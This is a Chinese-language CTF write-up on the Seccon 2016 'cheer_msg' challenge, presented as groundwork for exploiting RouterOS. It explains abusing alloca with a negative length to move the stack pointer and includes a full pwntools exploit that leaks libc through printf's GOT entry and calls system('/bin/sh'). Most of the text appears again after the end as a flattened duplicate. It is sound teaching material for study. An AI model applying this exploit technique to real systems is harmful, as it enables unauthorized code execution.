一步一步 Pwn RouterOS之CTF题练手
字数 1045 2025-08-25 22:59:03

Pwn RouterOS之CTF题练手教学文档

前言

本文基于Seccon CTF quals 2016的一道CTF题目,通过分析该题目为后续分析RouterOS漏洞和编写exploit打下基础。题目涉及alloca函数的使用、栈指针操作和ROP技术。

题目分析

主要函数逻辑

  1. main函数

    • 获取用户输入的数字(num)
    • 将输入的数字加30后传递给alloca函数分配栈空间
    • 调用message函数,传递参数为esp+23和num
  2. message函数

    • 读取n个字符到buf(由alloca分配)
    • 读取0x40个字符到局部变量t_buf

关键漏洞点

  1. alloca函数特性

    • alloca从栈上分配内存,通过sub esp, *实现
    • 如果传入负数,sub esp, eax相当于add esp, |eax|,会将栈指针向栈底移动
  2. 漏洞利用

    • 输入负数num可以控制esp向栈底移动
    • 栈底存储着返回地址,通过message函数中的缓冲区可以覆盖返回地址
    • 由于fgets的安全检查,不能直接利用输入函数,但可以通过message的局部缓冲区t_buf写入数据

漏洞利用步骤

1. 控制栈指针

  • 输入一个负数(如-140)使esp向栈底移动
  • 通过动态调试确定精确的偏移量:
    • 先输入一个较小的负数(如-32)
    • 计算数据地址与返回地址的距离
    • 调整输入值直到能覆盖返回地址

2. 构造ROP链

  1. 第一阶段

    • 使用printf泄露GOT表中printf的地址
    • 计算libc基地址
    • 返回到程序起点重新触发漏洞
  2. 第二阶段

    • 计算system和"/bin/sh"的实际地址
    • 再次触发漏洞,调用system("sh")获取shell

3. 精确偏移计算

  • 使用pwntools的cyclic工具确定精确的padding长度
  • 动态调试在关键点设置断点(如0x0804860E)观察esp变化

完整Exploit代码

from pwn import *

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-v']

r = process("./cheer_msg")
binary = ELF('cheer_msg')
libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')

# 调试断点
gdb.attach(r, '''
bp 0x0804868B
bp 0x08048610
''')

# 第一阶段:泄露libc地址
r.recvuntil("Length >> ")
r.sendline("-140")  # 控制esp向栈底移动

r.recvuntil("Name >> ")
payload = "a" * 0x10  # padding
payload += p32(binary.symbols['printf'])  # 调用printf
payload += p32(binary.entry)  # 返回到程序起点
payload += p32(binary.got['printf'])  # printf的参数
r.sendline(payload)

r.recvuntil("Message :")
r.recv(1)
r.recv(1)
printf_addr = u32(r.recv(4))

# 计算libc基址和关键函数地址
libc_base = printf_addr - libc.symbols['printf']
sh = libc_base + libc.search("/bin/sh\x00").next()
system = libc_base + libc.symbols['system']

log.info("got system: " + hex(system))
log.info("got base: " + hex(libc_base))
log.info("get sh " + hex(sh))

# 第二阶段:获取shell
r.recvuntil("Length >> ")
r.sendline("-140")

r.recvuntil("Name >> ")
payload = "a" * 0x10  # padding
payload += p32(system)  # 调用system
payload += p32(binary.entry)
payload += p32(sh)  # system的参数
r.sendline(payload)

r.interactive()

关键知识点总结

  1. alloca函数

    • 在栈上分配内存,通过调整esp实现
    • 接受有符号整数参数,负数会导致esp增加
  2. 栈指针操作

    • 通过控制esp可以访问栈上的任意位置
    • 需要精确计算偏移量以覆盖关键数据
  3. ROP技术

    • 利用现有代码片段构造攻击链
    • 分阶段利用:先泄露地址,再执行最终攻击
  4. 动态调试技巧

    • 使用gdb在关键点设置断点
    • 观察寄存器变化,特别是esp
    • 使用cyclic工具确定精确偏移

参考资源

Pwn RouterOS之CTF题练手教学文档 前言 本文基于Seccon CTF quals 2016的一道CTF题目,通过分析该题目为后续分析RouterOS漏洞和编写exploit打下基础。题目涉及alloca函数的使用、栈指针操作和ROP技术。 题目分析 主要函数逻辑 main函数 : 获取用户输入的数字(num) 将输入的数字加30后传递给alloca函数分配栈空间 调用message函数,传递参数为esp+23和num message函数 : 读取n个字符到buf(由alloca分配) 读取0x40个字符到局部变量t_ buf 关键漏洞点 alloca函数特性 : alloca从栈上分配内存,通过 sub esp, * 实现 如果传入负数, sub esp, eax 相当于 add esp, |eax| ,会将栈指针向栈底移动 漏洞利用 : 输入负数num可以控制esp向栈底移动 栈底存储着返回地址,通过message函数中的缓冲区可以覆盖返回地址 由于fgets的安全检查,不能直接利用输入函数,但可以通过message的局部缓冲区t_ buf写入数据 漏洞利用步骤 1. 控制栈指针 输入一个负数(如-140)使esp向栈底移动 通过动态调试确定精确的偏移量: 先输入一个较小的负数(如-32) 计算数据地址与返回地址的距离 调整输入值直到能覆盖返回地址 2. 构造ROP链 第一阶段 : 使用printf泄露GOT表中printf的地址 计算libc基地址 返回到程序起点重新触发漏洞 第二阶段 : 计算system和"/bin/sh"的实际地址 再次触发漏洞,调用system("sh")获取shell 3. 精确偏移计算 使用pwntools的cyclic工具确定精确的padding长度 动态调试在关键点设置断点(如0x0804860E)观察esp变化 完整Exploit代码 关键知识点总结 alloca函数 : 在栈上分配内存,通过调整esp实现 接受有符号整数参数,负数会导致esp增加 栈指针操作 : 通过控制esp可以访问栈上的任意位置 需要精确计算偏移量以覆盖关键数据 ROP技术 : 利用现有代码片段构造攻击链 分阶段利用:先泄露地址,再执行最终攻击 动态调试技巧 : 使用gdb在关键点设置断点 观察寄存器变化,特别是esp 使用cyclic工具确定精确偏移 参考资源 题目和IDB文件: Git仓库 原始Writeup: GitHub